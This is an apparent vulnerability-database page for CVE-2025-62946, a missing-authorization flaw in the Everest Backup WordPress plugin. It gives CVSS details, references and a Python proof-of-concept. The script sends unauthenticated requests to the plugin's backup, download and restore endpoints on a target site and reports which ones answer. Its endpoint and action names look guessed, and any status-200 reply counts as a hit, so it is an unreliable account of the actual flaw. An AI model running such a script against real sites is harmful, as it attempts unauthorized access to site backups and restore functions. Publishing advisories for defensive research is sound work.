CVE-2025-62946

Description

Missing Authorization vulnerability in everestthemes Everest Backup everest-backup allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Everest Backup: from n/a through <= 2.3.8.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Everest Backup <= 2.3.8

Everest Backup < 2.3.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-62946 PoC - Everest Backup Broken Access Control
# This PoC demonstrates the missing authorization vulnerability in Everest Backup plugin

import requests
import sys

def exploit_cve_2025_62946(target_url):
    """
    Exploit for CVE-2025-62946: Everest Backup <= 2.3.8 Broken Access Control
    This vulnerability allows unauthenticated users to access protected backup functions.
    """
    
    # Define vulnerable endpoints
    endpoints = [
        '/wp-admin/admin-ajax.php',
        '/wp-json/everest-backup/v1/backup',
        '/wp-json/everest-backup/v1/download',
        '/wp-json/everest-backup/v1/restore'
    ]
    
    print(f"[*] Target: {target_url}")
    print(f"[*] Testing Everest Backup <= 2.3.8 for Broken Access Control")
    
    for endpoint in endpoints:
        url = target_url.rstrip('/') + endpoint
        
        # Test backup creation without authentication
        if 'backup' in endpoint:
            data = {
                'action': 'everest_backup_create_backup',
                'security': 'fake_nonce'  # Attempting without valid nonce
            }
        elif 'download' in endpoint:
            data = {
                'action': 'everest_backup_download',
                'backup_id': '1'
            }
        elif 'restore' in endpoint:
            data = {
                'action': 'everest_backup_restore',
                'backup_id': '1'
            }
        else:
            data = {}
        
        try:
            response = requests.post(url, data=data, timeout=10)
            
            # Check if request was processed without authorization
            if response.status_code == 200:
                print(f"[+] Endpoint {endpoint} responded without authentication")
                print(f"    Response: {response.text[:200]}")
            else:
                print(f"[-] Endpoint {endpoint} returned status {response.status_code}")
                
        except requests.exceptions.RequestException as e:
            print(f"[!] Error connecting to {endpoint}: {e}")
    
    print("\n[*] Note: This PoC checks for missing authorization checks.")
    print("[*] A vulnerable site will process requests without proper authentication.")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve_2025_62946_poc.py <target_url>")
        print("Example: python cve_2025_62946_poc.py http://example.com")
        sys.exit(1)
    
    target = sys.argv[1]
    exploit_cve_2025_62946(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62946
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62946
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62946/
[4] VulDB https://vuldb.com/cve/CVE-2025-62946
[5] https://patchstack.com/database/Wordpress/Plugin/everest-backup/vulnerability/wordpress-everest-backup-plugin-2-3-8-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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